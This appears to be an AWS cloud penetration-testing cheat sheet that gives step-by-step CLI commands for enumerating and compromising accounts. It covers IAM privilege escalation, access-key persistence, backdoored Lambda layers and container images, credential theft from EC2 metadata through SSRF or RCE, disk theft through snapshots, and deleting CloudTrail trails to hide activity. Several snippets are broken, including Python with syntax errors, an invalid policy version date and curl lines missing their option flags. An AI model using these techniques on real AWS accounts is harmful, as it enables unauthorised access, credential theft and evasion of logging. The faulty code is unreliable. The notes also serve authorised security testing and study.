ARN

A number to identify an object in AWS

Example

arn:aws:iam:100:user/admin

Field -> ARN
Field -> Type, most of time will be AWS
Field -> service, in this case IAM
Field -> User ID
Field -> entity identifier

IAM

It's assumed that we have gain access to the AWS Credentials
We can see if we have permissions using Amazon's policy simulator
Always look for policies and roles with the * symbol.
See which user do not have MFA enabled
User enumeration in IAM Panel and group enumeration
We can also enumerate roles from the same interface
Root user is super admin

Configure AWS cli

aws configure

Or configure it using a profile

aws configure --profile example_name

The credential file is located in ~/.aws/credentials

Listing IAM access Keys

aws iam list-access-keys

1. Enumerating IAM users

Checking credentials for the user

aws sts get-caller-identity

Listing IAM Users

aws iam list-users

Listing the IAM groups that the specified IAM user belongs to

aws iam list-groups-for-user --user-name user-name

Listing all manages policies that are attached to the specified IAM user

aws iam list-attached-user-policies --user-name user-name

Listing the names of the inline policies embedded in the specified IAM user

aws iam list-user-policies --user-name user-name

2. Enumerating Groups IAM

Listing IAM Groups

aws iam list-groups

Listing all managed policies that are attached to the specified IAM Group

aws iam list-attached-group-policies --group-name group-name

Listing the names of the inline policies embedded in the specified IAM Group

aws iam list-group-policies --group-name group name

3. Enumeratig Roles

Listing IAM Roles

aws iam list-roles

Listsing all managed policies that are attached to the specified IAM role

aws iam list-attached-role-policies --role-name role-name

Listing the names of the inline policies embedded in the specified IAM role

aws iam list-role-policies --role-name role-name

4. Enumerating Policies

Listing of IAM Policies

aws iam list-policies

Retrieving information about the specified managed policy

aws iam get-policy --policy-arn policy-arn

Listing information about the versions of the specified manages policy

aws iam list-policy-versions --policy-arn policy-arn

Retrieving information about the specific version of the specified managed policy

aws iam get-policy-version --policy-arn policy-arn --version-id version-id

Retrieving the specified inline policy document that is embedded on the specified IAM user / group / role

aws iam get-user-policy --user-name user-name --policy-name policy-name

aws iam get-group-policy --group-name group-name --policy-name policy-name

aws iam get-role-policy --role-name role-name --policy-name policy-name

5. Exploitation Scenario

General Guidelines

AWS token compromised (Developer machine, phishing etc) and we as attackers will gonna use it.

Enumerating the owner of the key and initial compromise

aws sts get-caller-identity

Or specifing a profile

aws sts get-caller-identity --profile example_name

If you have the password of the root account instead of key, log in

https://signin.aws.amazon.com/console

Or use the IAM in case the account is not the root

https://account-id-here.signin.aws.amazon.com/console

The account id can be cathered using the sts get caller command.

Privilege Escalation

Privilege escalation on AWS is based on misconfigurations, if we have more permissions than necessary, its possible to obtain higher privileges.

Study Case

A user was compromised with the List Policy and Put User Policy permissions, an attacker could leverage this Put User privilege to add an inline administrator to itself, making it administrator of the instance.

Exploitation

Getting the IAM user

aws sts get-caller-identity

Listing policies attached to an user

aws iam list-attached-user-policies --user-name example_name -- profile example_profile

Retrieving informations about an specific policy

aws iam get-policy --policy-arn policy_arn

If there are more than one version of the policy, we can also list them

aws iam list-policy-versions --policy-arn policy_arn

Now we can finally retrieve the contents of the policy

aws iam get-policy-version --policy-arn example_arn --version-id id_example

It's important to use the command above to chech the information about the default policy

Escalation

If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user.

Administrator policy example

{
    "Version": "2021-10-17",
    "Statement" : [
        {
            "Effect":"Allow",
            "Action": [
                "*"
            ],
            "Resource":[
                "*"
            ]
        }
    ]
}

Attaching this policy into our user

aws iam put-user-policy --user-name example_username --policy-name example_name --policy-document file://AdminPolicy.json

Listing inline policies of our user

aws iam list-user-policies --user-name example_name

Listing a restricted resource (Example S3)

aws s3 ls --profile example_profile

Interesting Permissions

iam:AttachUserPolicy -> Attach a policy to a user
iam:AttachGroupPolicy -> Attach a policy to a group
iam:AttachRolePolicy -> Attach a policy to a role
iam:CreateAccessKey -> Creates a new access key
iam:CreateLoginProfile -> Creates a new login profile
iam:UpdateLoginProfile -> Update an existing login profile
iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance profile
iam:PuserUserPolicy -> Create/Update an inline policy
iam:PutGroupPolicy -> Create/Update an inline policy for a group
iam:PutRolePolicy -> Create/Update an inline policy for a role
iam:AddUserToGroup -> Add an user to a group
iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the AssumeRolePolicyDocument of a role
iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new lambda function and invoke it
lambda:UpdateFunctionCode -> Update the code of an existing lambda function

Persistence & Backdooring

Suppose we have two users, the user A has permissions to create Access Keys to user B, this misconfig allows us to create an access key for user B and persist our access.

Creating a new access key for another user

aws iam create-access-key --username example_username

Configuring AWS cli for the new user

aws configure --profile example_profile

Remember, an user can have the maximum of 2 access keys.

Testing the credential

aws sts get-caller-identity --profile example_profile

Accessing more credentials

It's possible to assume other roles with the sts:AssumeRole permission (Example: An user doesn't have access to an s3 instance, but it has this permission, we can easily assume other roles if we are in the trust relashionship, increasing our access in the instance)

Listing managed policies attached to an user

aws iam list-attached-user-policies --user-name example_name

Retrieving information about an specific policy

aws iam get-policy --policy-arn ARN

Listing information about the version of the policy

aws iam list-policy-versions --policy-arn ARN

Retrieving information about an specific version

aws iam get-policy-version --policy-arn policy_arn --version-id ID

Listing IAM roles

aws iam list-roles

Listing trust relashionship between role and user (Which roles we can assume)

aws iam get-role --role-name role_name

Listing all managed policies attached to the specific IAM role

aws iam liast-attached-role-policies --role-name role_name

Retrieving information about the specified version of the policy

aws iam get-policy-version --policy-arn policy_arn --version-id ID

Getting temporary credentials for the role

aws sts assume-role --role-arn role_arn --role-session-name session_name

Configuring AWS cli with newer credentials (On Linux)

export AWS_ACCESS_KEY_ID
export AWS_SECRET_KEY
export AWS_SESSION_TOKEN

Getting information about the temporary credential

aws sts get-caller-identity

S3 - Simple Storage System

Storage system that allow users to store and retrieve data.
List,Get,Put and Delete operations can be performed on the objects of the bucket
Buckets are global, meaning that they are available to all regions
It's possible to bruteforce the bucket name and region in the URL
Its possible to apply ACL's to bucket and object level and bucket policies for bucket level
There is also time limited URL's and identity based policies
Identity policies are enumerated using IAM commands

Enumeration

Listing all buckets in aws account

aws s3api list-buckets

Getting information about a specific bucket

aws s3api get-bucket-acl --bucket name

Getting information about a specific bucket policy

aws s3api get-bucket-policy --bucket name

Getting the Public Access Block configuration for an S3 bucket

aws s3api get-public-access-block --bucket name

Listing all objects in a specific bucket

aws s3api list-objects --bucket name

Getting ACL information about specific object

aws s3api get-object-acl --bucket-name name --key object_name

Data Exfiltration

It's possible to brute-force files in the bucket
If the bucket is misconfigured, we can read data through web browser, cli/api or time-based URL.

Public Access

Just enter the URL in the browser

https://bucket-name.region.amazonaws.com/secret.txt

Authenticated User

aws s3api get-object --bucket name --key object-name download-file-location

Time-Based Url

Generate a time based url for an object
Userful if the object is not public

aws s3 presign s3://bucket-name/object-name --expires-in 605000

Lambda & API Gateway

Serverless event driven platform
Runs code in response to events and automatically manages computing resources required by that code
Can trigger from other AWS services or call directly from the API Gateway
A lambda function is a piece of code that is executed whenever is triggered by an event from an event source
API Gateway is an AWS service for creating, publishing, maintaining, monitoring and securing REST, HTTP and WebSocket API
API Gateway can be used to trigger lambda functions in a synchronous (api gateway), asynchronous (event) or stream (Poll Based) way.
If we found a lambda function that access an S3 (Example) its possible to change its code and gain access to the files.
If API Gateway is used, we can enumerate the API to see how its possible to invoke the lambda function (Craft the URL).

Enumeration

Listing All lambda functions

aws lambda list-functions

Listing information about a specific lambda function

aws lambda get-function --function-name function_name

This command enables us to download the source code of the lambda function

Listing policy information about the function

aws lambda get-policy --function-name function_name

We can get informations like who can execute this functions, ID and other informations with this command

Listing the event source mapping information about a lambda function

aws lambda list-event-source-mappings --function-name function_name

Listing Lambda Layers (Depedencies)

aws lambda list-layers

Listing full information about a lambda layer

aws lambda get-layer-version --layer-name name --version-number version_number

Listing Rest API'S

aws apigateway get-rest-apis

Listing information about a specific API

aws apigateway get-rest-api --rest-api-id ID

Listing information about endpoints

aws apigateway get-resources --rest-api-id ID

Listing information about a specific endpoint

aws apigateway get-resource --rest-api-id ID --resource-id ID

Listing method information for the endpoint

aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method

Test various methods to see if the API supports it.

Listing all versions of a rest api

aws apigateway get-stages --rest-api-id ID

Getting informatin about a specific version

aws apigateway get-stage --res-api-id ID --stage-name NAME

Listing API KEYS

aws apigateway get-api-keys --include-values

Getting information about a specific API Key

aws apigateway get-api-key --api-key KEY

Initial Access

Its possible to get RCE through API Gateway if it executes commands.
If you can execute commands, there is a way to retrieve keys from the API Gateway, just use env , configure aws cli and proceed with the exploitation.

Credential Access

Getting credentials from Lambda can be done in 2 ways

Keys in the source code
Keys in the enviroment variables

These keys can be gathered using SSRF, RCE and so on.

Getting credentials using RCE

https://apigateway/prod/system?cmd=env

Getting credentials using SSRF

https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/next

Getting credentials using SSRF and wrappers

https://apigateway/prod/system?cmd=file:///proc/self/environ

Getting credentials from lambda enviroment variables (cli)

aws lambda get-function --function-name NAME

It's important to enumerate the functions first with aws lambda list-functions

Persistence

If the user has sufficient rights in the lambda function, its possible to download the source code, add a backdoor to it and upload. Everytime the lambda executes, the malicious code will also execute.
Always try to update the code of layers (depedencies) instead of the actual lambda code, this way our backdoor will be difficult to detect.

Checking which user is executing

aws sts get-caller-identity

Checking all managed policies attached to the user

aws iam list-attached-user-policies --user-name user_name

Checking informations about a specific policy

aws iam get-policy-version --policy-arn arn --version-id ID

Listing all lambda functions

aws lambda list-functions --region region

Listing information about the specified lambda

aws lambda get-function --function-name name

Download and analyze the codes

Listing policy information about the specific lambda function

aws lambda get-policy --function-name name --profile profile --region region

We can grab informations like id, who can invoke and other details with this command (Helps to build the query to execute the lambda function).

Listing Rest API'S

aws apigateway get-rest-apis

Listing information about a specific API

aws apigateway get-rest-api --rest-api-id ID

Listing information about endpoints

aws apigateway get-resources --rest-api-id ID

Listing information about a specific endpoint

aws apigateway get-resource --rest-api-id ID --resource-id ID

Listing method information for the endpoint

aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method

Test various methods to see if the API supports it.

Listing all versions of a rest api

aws apigateway get-stages --rest-api-id ID

Getting informatin about a specific version

aws apigateway get-stage --res-api-id ID --stage-name NAME

Uploading the backdoor code to aws lambda function

aws lambda update-function-code --function-name function --zip-file fileb://my-function.zip

Invoke the Function

curl https://uj3948ie.execute-api.us-east-2.amazonaws.com/default/EXAMPLE

Where

API-ID -> uj3948ie
Region -> us-east-2
Resource (Endpoint) -> EXAMPLE
Method -> Get
Stage (Version) -> default
API-Key -> None

All these details are gathered during the enumeration.

Privilege Escalation

If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a Lambda Function, its possible to create a function with a code that changes the lambda role to admin then the user to Administrator.

Create a lambda function and attach a role to it

aws lambda create-function --function-name my-function --runtime python3.7 --zip-file fileb://my-function.zip --handler my-function.handler --role ARN --region region

Inside the function's code, we will add the administrator permission to the role and to the user

Example code to add the permissions

import boto3
import json

def handler(event,context)
    iam = boto3.client("iam")
    iam.attach.role.policy(RoleName="name",PolicyArn="arn",)
    iam.attach.user.policy(UserName="name",PolicyArn="arn",)
    return {
        'statusCode':200
        'body':json.dumps("Pwned")
    }

Invoke a lambda function

aws lambda invoke --function-name name response.json --region region

Listing managed policies to see if the change worked

aws iam list-attached-user-policies --user-name user_name

AWS Secret Manager

AWS Service that encrypts and store secrets
Transparently decrypts and return in plaintext
KMS used to store keys (AWS Key and Customer Managed Key)
Asymmetric and Symmetric keys can be created using KMS

Enumeration

Listing all secrets stored by Secret Manager

aws secretsmanager list-secrets

Listing information about a specific secret

aws secretsmanager describe-secret --secret-id name

Getting policies attached to the specified secret

aws secretsmanager get-resource-policy --secret-id ID

Listing keys in KMS

aws kms list-keys

Listing information about a specific key

aws kms describe-key --key-id ID

Listing policies attached to a specific key

aws kms list-key-policies --key-id ID

Getting full information about a policy

Shows who can access the keys

aws kms get-key-policy --policy-name name --key-id ID

Credential Exfiltration

If the user has access to Secret Manager, it can decrypt the secrets using the web, cli or API

Listing policies attached to an user

aws iam list-attached-user-policies --user-name name

Retrieving information about a specific version of policy

Here we can see the permissions

aws iam get-policy-version --policy-arn arn --version-id id

Listing all secrets stored by Secret Manager

aws secretsmanager list-secrets

Listing information about a specific secret

Here we get the secret Key Id to descript the secret

aws secretsmanager describe-secret --secret-id name

Getting resource-based policy attached to an specific secret

aws secretsmanager get-resource-policy --secret-id ID

Getting the secret value

Retrieves the actual value

aws secretsmanager get-secret-value --secret-id ID

KMS

If we compromised as an example an S3 with an encrypted file, we can decrypt it using the keys stored in KMS.

Listing an specific key

aws kms describe-key --key-id id

Listing policies attached to an specified key

Here we can see who can access the key, the description of it and so on

aws kms list-key-policies --key-id ID

Listing full information about a policy

Run the previous command in all keys to see who can access it

aws kms get-key-policy --policy-name name --key-id ID

Decrypt the secret using the key

There is no need to specificy the key information because this information is embbeded in the encrypted file

aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext

Containers

Divided into three categories

Registry -> Secure place to store container images (ECR)
Orchestration -> Configure when and where the containters run (ECS,EKS)
Compute -> Use to do computing related tasks (EC2, Fargate)
Its possible to create a backdoor image and add to a EKS cluster
Always look how VPC's are communicatig with each other, maybe is possible to pivot through the EKS VPC from other VPC and compromise the entire cluster

Initial Access

The initial access can be done by exploiting some RCE in webapp to get access to the container, afterwards its possible to compromise the EC2.

After the RCE, we can list all secrets in EKS

https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount

Getting the secret information from EKS

https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount/token

It's also possible to do sandbox escaping (Tool: deepce)

Enumeration

ECR

Listing all repositories in container registry

aws ecr describe-repositories

Listing information about repository policy

aws ecr get-repository-policy --repository-name name

Listing all images in a specific repository

aws ecr list-images --repository-name name

Listing information about an image

aws ecr describe-images --repository-name name --images-ids imageTag=name

ECS

Listing all ECS clusters

aws ecs list-clusters

Listing information about an specific cluster

aws ecs describe-clusters --cluster name

Listing all services in specified cluster

aws ecs list-services --cluster name

Listing information about an specific service

aws ecs descibe-services --cluster name --services name

This command shows the logs of the service

Listing tasks in specific cluster

aws ecs list-tasks --cluster name

Listing information about an specific task

aws ecs describe-tasks --cluster name -tasks taskArn

Also shows information about network, userful if trying to pivot

Listing all containers in specified cluster

aws ecs list-container-instances --cluster name

EKS

Listing all EKS clusters

aws eks list-clusters

Listing information about an specific cluster

aws eks describe-cluster --name name

Listing all node groups in specified cluster

aws eks list-nodegroups --cluster-name name

Listing specific information about a node group in a cluster

aws eks describe-nodegroup --cluster-name name --nodegroup-name name

Listing Fargate in specified cluster

aws eks list-fargate-profiles --cluster-name cluster-name

Listing information about a fargate profile in a cluster

aws eks describe-fargate-profiles --cluster-name name --fargate-profile-name name

Persistence

It's possible to modify an existing docker image with a backdoor, when this image is used it will trigger our team server.

Enumerating the user

aws sts get-caller-identity

Listing manager policies attached to the IAM role

aws iam list-attached-role-policies --role-name name

Getting information about the version of the managed policy

aws iam get-policy-version --policy-arn arn --version-id id

Getting information about the repositories in container registry

aws ecr describe-repositories

Listing all images in the repository

aws ecr list-images --repository-name name

Listing information about an image

aws ecr describe-images --repository-name name --image-ids imageTag=Name

Authenticate the docker daemon to ECR

aws ecr get-login-password --region region | docker login --username AWS --password-stdin ecr_address

Building images with backdoor

docker build -t image_name

Tagging the docker image

docker tag image_name ecr_addr:Image_Name

Pushing the image to ECR

docker push ecr_addr:Image_Name

EC2

AMI, images used to create virtual machines
It's possible to create a malicious image to compromise users
We can access an instance using SSH Keys, EC2 Instance Connect, Session Manager
The SSH Key method is permanent, we need to gather the private key to connect to the instance
EC2 Instance connect is an IAM right that we can add to a user, enabling us to temporarily connect to an instance
Session manager only work in browser and it does not need SSH Key
Windows machines can be accessed by using RDP, Session Manager
Security Groups acts as a virtual firewall to control inbound and outbound traffic, acts at the instance level, not the subnet level.

Enumeration

Listing information about all instances

aws ec2 describe-instances

Listing information about a specific region

aws ec2 describe-instances --region region

Listing information about specific instance

aws ec2 describe-instances --instance-ids ID

Extracting UserData attribute of specified instance

aws ec2 describe-instance-attribute --attribute userData --instance-id instanceID

This command gathers the metadata from the instance, like commands or secrets. The output is base64 encoded

Listing roles of an instance

aws ec2 describe-iam-instance-profile-associations

Exploitation

Initial access can happen by RCE or SSRF
Metadata can be used to exfiltrate information from the instance

Remote code execution

AWS Metadata

If we have remote code execution or SSRF, we can grab metadata information

curl http://169.254.169.254/latest/meta-data

Grabbing the keys to access the instance

curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Grabbing the keys in metadata version 2

TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/meta-data/

AWS Userdata

Version 1

curl http://169.254.169.254/latest/user-data/

Version 2

TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user-data/

Privilege Escalation

One approach to get a shell in a instance is to put a reverse shell in UserData attribute, when the instance is launched, we will have the connection.
Another approach happens when we have the iam:PassRole and iam:AmazonEC2FullAccess permissions, we can add an administrator role to the compromised EC2 instance and access aws services.

Getting information about the key

aws sts get-caller-identity

Getting policies attached to the IAM user

aws iam list-attached-user-policies --user-name user_name

Getting information about a specific policy version

aws iam get-policy-version --policy-arn ARN --version-id ID

To attach a role to an EC2 instance, we can use the RCE to grab the ID

curl http://169.254.169.254/latest/meta-data/instance-id

Listing instance profiles

aws iam list-instance-profiles

Attach an instance profile to an EC2 instance

aws ec2 associate-iam-instance-profile --instance-id ID --iam-instance-profile Name=ProfileName

Credential Access

We can grab the credentials by abusing metadata (Web Application with SSRF,RCE and so on)

After the initial access

Enumerate the key (Role)

aws sts get-caller-identity

If there are roles associated with the key, we can grab the credentials by issuing a request to the metadata endpoint (v1 or v2)

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_OF_PREVIOUS_COMMAND

Configure the aws cli

aws configure

Or use enviroment variables.

Persistence

All the persistence techniques works here, SSH persistence, vim backdoor and so on.

SSH Persistence example

Generate SSH Key pair

ssh-keygen

Add public key to authorized_keys

echo "PUBLIC_Key" >> /home/user/.ssh/authorized_keys

Use the private key to connect

ssh -i public_key user@instance

Elastic Block Store

Block storage system used to store persistent data
It's possible to attach this drive to EC2 and increase the storage (Like and HD, but scalable).
It's possible to create a snapshot (It will be saved on S3) and create a volume from this snapshot.
It's possible to attach the snapshot (Backup of BS) to an EC2 instance
Snapshots can be used as volumes or AMI's

Enumeration

Enumerating EBS volumes

aws ec2 describe-volumes

If the volume is available, it can be attached to an EC2 instance
Check if the EBS is encrypted

Enumerating Snapshots

aws ec2 describe-snapshots --owner-ids self

Also check if the snapshot is encrypted

Exploitation & Data Exfiltration

Create a snapshot of an EC2 instance, create a volume from snapshot and attach to other EC2 instance.
User need to have IAM permissions on EC2
Maybe we don't have the right to access the instance but have rights to create a snapshot and attach it to another machine.

Creating a snapshot of a specified volume

aws ec2 create-snapshot --volume volumeID --description "Example" --profile profile_name

Listing snapshots

aws ec2 describe-snapshots

Creating a volume from a snasphot

aws ec2 create-volume --snapshot-id ID --availability-zone ZONE --profile profile_name

The volume needs to be in the same availability zone as the instance we have access

Attaching the volume to an instance

aws ec2 attach-volume --volume-id VolumeID --instance-id InstanceID --device /dev/sdfd -> Can be other value

Mounting the volume

sudo mount /dev/sdfd /directory

After mounting, we will have access to the disk.

RDS - Relational Database Service

Service to use, operate and scale relational databases in AWS (MariaDB, MySQL and similar)
The access is done by using password, password+IAM or password+kerberos
It's possible to restrict access using restriction such as specific EC2 or lambda or use network level restriction such as vpc, ip.
RDS Proxy hadles the traffic between the application and the database, it enables the enforcing of IAM permissions and use secrets manager to store credentials.

Enumeration

Listing information about clusters in RDS

aws rds describe-db-clusters

Listing information about RDS instances

aws rds describe-db-instances

IAMDatabaseAuthenticationEnabled: false -> Need password to access the instance

Listing information about subnet groups in RDS

aws rds describe-db-subnet-groups

Listing information about database security groups in RDS

aws rds describe-db-security-groups

Listing information about database proxies

aws rds describe-db-proxies

Data exfiltration

If the instance is in a security group or VPC, we need to compromise it first to access the database (For example, we compromise an EC2 instance in the same VPC, then its possible to connect)

List instances in RDS

aws rds describe-db-instances

List information about the specified security group

aws ec2 describe-security-groups --group-ids id

Password based authentication

mysql -h hostname -u name -P port -p password

IAM Based authentication

1. Identify the user

aws sts get-caller-identity

2. List all policies attached to a role

aws iam list-attached-role-policies --role-name name

3. Get information about a specific version of a policy

aws iam get-policy-version --policy-arn arn --version-id ID

4. Get a temporary token from the RDS

aws rds generate-db-auth-token --hostname hostname --port port --username username --region region

To be easier, we can put it in a variable

TOKEN=$(aws rds generate-db-auth-token --hostname hostname --port port --username username --region region)

5. Connect to the DB using the token

mysql -h hostname -u name -P port --enable-cleartext-plugin --user=user --password=$TOKEN

SSO & Other Services

Single Sign On (SSO)

Used to centrally manage access to multiple AWS accounts and applications.
Provide users a way to interact with all services and applications through one place
Can be used to manage access and user permissions to all AWS accounts
The identity source can use AWS SSO's identity store or external identity store (Okta,SAML and similar)

CloudTrail

Log monitoring service, allow us to continuously monitor and retain account activity related to actions in our AWS account
Provide event history of AWS account activity, SDKs, command line tools and other services
Commonly used to detect unsual behavior in AWS account
Pacu automatically changes the user agent to deceive the logs of cloudtrail

Userful Commands

List trails

aws cloudtrail list-trails

Disabling CloudTrail

aws cloudtrail delete-trail --name example_trail --profile name

Disable monitoring of events from global events

aws cloudtrail update-trail --name example_trail --no-include-global-service-event

Disable CloudTrail on specific regions

aws cloudtrail update-trail --name example_trail --no-include-global-service-event --no-is-multi-region --region=eu-west

AWS Shield

Used to protect services from Denial of Service Attacks
There are 2 versions, the standard and the Advanced

AWS Waf

Used to protect applications against common web application attacks
Common WAF bypasses can be tested against it
To detect an WAF, we can use wafw00f

AWS Inspector

Automated security assessment service that helps improve the security and compliance of applications on AWS
Works with an agent

AWS Guard Duty

Threat detection service that monitors for malicious activity and unauthorized behavior
Works by collecting and analyzing logs

Virtual Private Cloud

Used to create an isolated infrastructure within the cloud, including subnets and so on.
If the VPC has an internet gateway, means its a public subnet
Every VPC can have Network ACL's

Routing Tables

A set of rules to determine where the traffic will be directed, comes in form of Destination and Target, defined as follows

DESTINATION TARGET

IP          local -> VPC Internal
IP          igw   -> Internet Gateway
IP          nat   -> NAT Gateway
IP          pcx   -> VPC Peering
IP          vpce  -> VPC Endpoint
IP          vgw   -> VPN Gateway
IP          eni   -> Network Interface

VPC Internal -> Internal IP, no internet connection
Internet Gateway -> Used to access the internet
NAT Gateway -> Does the NAT between machines, allows one way connection to the internet
VPC Peering -> Allows the communication between 2 VPC's
VPC Endpoint -> Used to access aws services without internet connection (Internet Gateway)
VPN Gateway -> Used to expand the cloud to on premises and vice-versa
Network Interface -> Network Interfaces

Enumeration

Listing VPC's

aws ec2 describe-vpcs

Listing VPC's specifing the region

aws ec2 describe-vpcs --region us-west-1

Listing VPC information by ID

aws ec2 describe-vpcs --filters "Name=vpc-id,Values=ID"

Listing subnet's

aws ec2 describe-subnets

Listing subnet's by VPC-id

aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"

Listing routing tables

aws ec2 describe-route-tables

Listing routing tables by VPC-id

aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"

Listing Network ACL's

aws ec2 describe-network-acls

Lateral Movement and Pivoting

We can abuse VPC peering to do lateral movement

Scenario

There are 3 VPC's -> A,B,C
A can access B through peering and B access C. We can use VPC B as a peering pivot to access VPC C from VPC A.
The lateral movement can be done if we gather keys or other machines
Always enumerate the subnets to see in which subnet we can access other VPC's

Listing VPC peering connections

aws ec2 describe-vpc-peering-connections

Listing subnets of specific VPC (Important because the access can be restricted to specific subnets to other VPC's)

aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"

Listing routing tables

aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"

Listing instances on the specified VPC ID

aws ec2 describe-instances --filters "Name=vpc-id,Values=ID"

Listing instances on the specified subnet

aws ec2 describe-instances --filters "Name=subnet-id,Values=ID"

References

Last update: October 28, 2023